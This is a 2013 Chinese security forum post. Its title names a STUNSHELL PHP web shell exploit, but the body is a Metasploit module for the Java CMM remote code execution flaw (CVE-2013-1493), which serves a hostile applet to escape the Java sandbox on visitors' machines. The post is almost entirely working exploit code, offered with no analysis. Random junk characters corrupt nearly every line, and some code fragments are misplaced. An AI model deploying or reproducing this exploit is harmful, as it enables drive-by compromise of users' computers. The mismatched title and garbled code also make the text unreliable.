找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##/ x" ]4 w+ ~7 _9 J, i
0 k9 a7 r, V$ k3 k4 o7 R: k
# This file is part of the Metasploit Framework and may be subject to" Y( X3 Q  L7 k9 }+ _
# redistribution and commercial restrictions. Please see the Metasploit' z7 G2 R7 G3 ?4 x+ Q: T, l/ j: h
# web site for more information on licensing and terms of use.
! D6 _3 T" Q2 x! O: I# http://metasploit.com/
  `! e/ Z* G# @" F##
6 G& \. [' w5 S+ m4 U; I7 T4 o9 `require ‘msf/core’
9 x/ l# U) O, [- T0 i0 c+ ]' j  l# Drequire ‘rex’" f( S, e9 v8 z" e5 h) t
class Metasploit3 < Msf::Exploit::Remote
% C0 k' H5 t4 l  v. L. wRank = NormalRanking: M8 M8 I0 d4 D
include Msf::Exploit::Remote::HttpServer::HTML
+ K5 g5 T; L3 a" ginclude Msf::Exploit::EXE
8 G2 K" a* Y& N* v$ K4 X: Dinclude Msf::Exploit::Remote::BrowserAutopwn8 c% ^- |" g- m7 S0 S4 r5 v+ ]
autopwn_info({ :javascript => false })# G  m: r' S* V4 {! ?5 r7 @
def initialize( info = {} )
! J3 ~  S, E0 R( h$ psuper( update_info( info,
' P  i- Q1 e3 W, H( x: N‘Name’ => ‘Java CMM Remote Code Execution’,
5 l. `& `$ a8 {# {‘Description’ => %q{
! |0 e5 {% E- K) ?This module abuses the Color Management classes from a Java Applet to run/ W- l- `% }7 P1 s1 z8 ^2 }8 O
arbitrary Java code outside of the sandbox as exploited in the wild in February' z. E+ [/ o2 d7 O7 O
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
& C: ?" M" O3 S0 r; ]& aand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP19 P! g; V: u3 n* C  v( ?: s! L
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
. Z+ z; f; W  q. G/ H: i# _warning in order to run the malicious applet.
( m* L' T& c+ _},# Z$ M" K0 A; |3 r* Q0 @  V- E
‘License’ => MSF_LICENSE,  _: X7 b: p0 b5 H
‘Author’ =>
2 g: P0 U3 {/ a6 w/ o1 R'Unknown', # Vulnerability discovery and Exploit
0 o3 y5 B7 Z9 s% }& x/ F'juan vazquez' # Metasploit module (just ported the published exploit)
: N- O; W, D5 T* k! {],( c7 a* l  J+ t2 ^! v" w0 `2 u: ~- P* b
‘References’ =>
. Z" X0 w6 V( b4 }; i[9 F" v, G$ v  T1 D0 i
[ 'CVE', '2013-1493' ],, a( Q) M3 C' T: u, C( \: D
[ 'OSVDB', '90737' ],
2 x* _0 p1 Y) ?( I; X1 W" B7 J[ 'BID', '58238' ],
( R% W: c3 b1 Y5 h! K9 }1 y[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
6 Y' O$ [! V$ n- ?: P[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
4 W- y$ h4 z) b; g, {* T# [[ 'URL', 'http://pastie.org/pastes/6581034' ]/ s; @& K" ?7 l% x
],5 |: u8 z( E; d
‘Platform’ => [ 'win', 'java' ],) l0 }. h6 B0 ^+ |  @
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },& s. l5 q8 r% t$ M1 {1 _
‘Targets’ =>
: n% t( d+ E  l  X7 ~+ W2 u[
% ~- M! k" u/ e[ 'Generic (Java Payload)',
- j: x3 d: N* N{
, D' R; x% W# w  X9 v! y'Platform' => 'java',6 |: K& U0 `6 z5 {% T* e! t
'Arch' => ARCH_JAVA+ k6 l2 d8 {8 C+ j% t
}
0 S2 {+ O, t) z$ A+ Z  a% w],; g# R  z5 \2 z( ~% |5 r( ], i2 H
[ 'Windows x86 (Native Payload)',
# I1 N/ r4 k# \9 O9 z. z- J+ i{
5 O5 V9 v. |3 P; y'Platform' => 'win',
  }. m8 A' y% }/ \'Arch' => ARCH_X86, v+ D  Q* i3 z# l- k1 ^
}* C: @9 Y. }$ [) K+ z9 S
]2 C# g3 M, i: [0 @
],, ^4 N  u; {* Y2 ?( r/ W4 s
‘‘DisclosureDate’ => ‘Mar 01 2013′
# j- D$ d5 f6 K  U))
3 J4 a3 A, H- i. a' Iend
6 h$ |0 H4 e5 x, K! zdef setup+ {: t$ ?+ J0 n+ N1 r. I
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
4 `2 Z8 |* ~4 p2 P) C% v& B@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ A6 S1 H3 }' T
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
* p" L+ {8 g  W8 X4 g* q) {@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }6 d$ v6 l& n" M
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 ^0 S( E+ x7 u1 B  ~2 D, P@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
0 x' k' l7 h& c: ~0 ppath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
0 H% s( S- S( X% ]3 g, s. d* G- L* v) R# B@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 {8 m5 d8 l7 S) C( B" y8 t
@init_class_name = rand_text_alpha(“Init”.length)
* ^' S7 i1 R6 q& k! `. D@init_class.gsub!(“Init”, @init_class_name)
) M5 \$ p4 R/ \2 j- vsuper
/ m" D6 [& w2 yend
# ~! r. g- @$ s6 ^$ Y* w( W) b- B- Sdef on_request_uri(cli, request)$ J6 u  U/ x1 ~4 P0 `
print_status(“handling request for #{request.uri}”)
+ j$ f! L; e+ g' ~# Icase request.uri; H0 J$ g" {3 x; n  C/ R
when /\.jar$/i) o4 r* ]( m* t7 O$ N' c
jar = payload.encoded_jar! T1 g: r4 W- K5 q0 g& _
jar.add_file(“#{@init_class_name}.class”, @init_class)
: i6 p$ m7 t2 \* b5 D* Vjar.add_file(“Leak.class”, @leak_class)
  k8 |! X' C7 G  W& l# Ujar.add_file(“MyBufferedImage.class”, @buffered_image_class)( Q& u* T+ P8 ^$ F7 \( v
jar.add_file(“MyColorSpace.class”, @color_space_class)8 B9 K7 G+ m  I. A5 x2 Q
DefaultTarget’ => 1,
" o' i9 X# b. a7 _5 N. _# U# U0 {metasploit_str = rand_text_alpha(“metasploit”.length)9 w) B1 g( L7 l$ e0 }1 [" I1 G
payload_str = rand_text_alpha(“payload”.length)! g2 S8 w. v6 Y2 a% {0 }6 k
jar.entries.each { |entry|
' e. o) r6 }- \# Q/ Q  ]entry.name.gsub!(“metasploit”, metasploit_str)
. h. ?1 z, T' m1 |entry.name.gsub!(“Payload”, payload_str)1 s+ e& k  z- i& P# b4 @+ L
entry.data = entry.data.gsub(“metasploit”, metasploit_str)5 A2 ?& W! f3 k7 l7 G+ M( B! H7 A  Q
entry.data = entry.data.gsub(“Payload”, payload_str)
7 n$ l# w. Y5 W$ K( @2 c3 b}
- d" [% X  l  d5 t, D: _jar.build_manifest7 e  `4 o' S/ {6 o
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })! V5 {" o9 p/ `+ X2 u, [3 L- i
when /\/$/
8 r) y9 P) m6 ypayload = regenerate_payload(cli)) M3 T6 G2 a& h- t. k2 i2 |' _) G7 T
if not payload# ~( \: S8 ?  I( k( ]
print_error(“Failed to generate the payload.”)
8 b! s5 s% |3 g7 S2 ?) K) ]send_not_found(cli)
6 ?1 V9 l3 Y2 ^3 _! hreturn  r% |; S/ t6 g7 s; F7 H, Z+ H
end
) v" @/ `/ [5 J  wsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })! W  h: b4 ~3 |' X2 ?1 \- R' |
else) X/ v: P1 {$ ^  [
send_redirect(cli, get_resource() + ‘/’, ”)
! Q- ?, h, k- b# ]( R( Zend# |/ q5 L" ~- f0 ?6 H- S: d
end
/ s# x5 O: N! z6 d- N) U' S8 idef generate_html
. C+ K& I% z$ K1 R. Dhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|
& K- h- o$ s8 f& ihtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|7 u; B! t0 ^; u* ~
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
" h1 [: m" e% Khtml += %Q|</applet></body></html>|3 O0 u3 P: e7 }, i
return html( @6 H2 N3 p" ~4 R; Y& _0 ]* F
end. U5 [4 I- e; L- P. v  |; n
end) @2 o8 _& g) v; Z1 K! @$ }% ?
end
6 @1 B+ @) `7 O1 N6 B/ `4 I+ j) I8 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表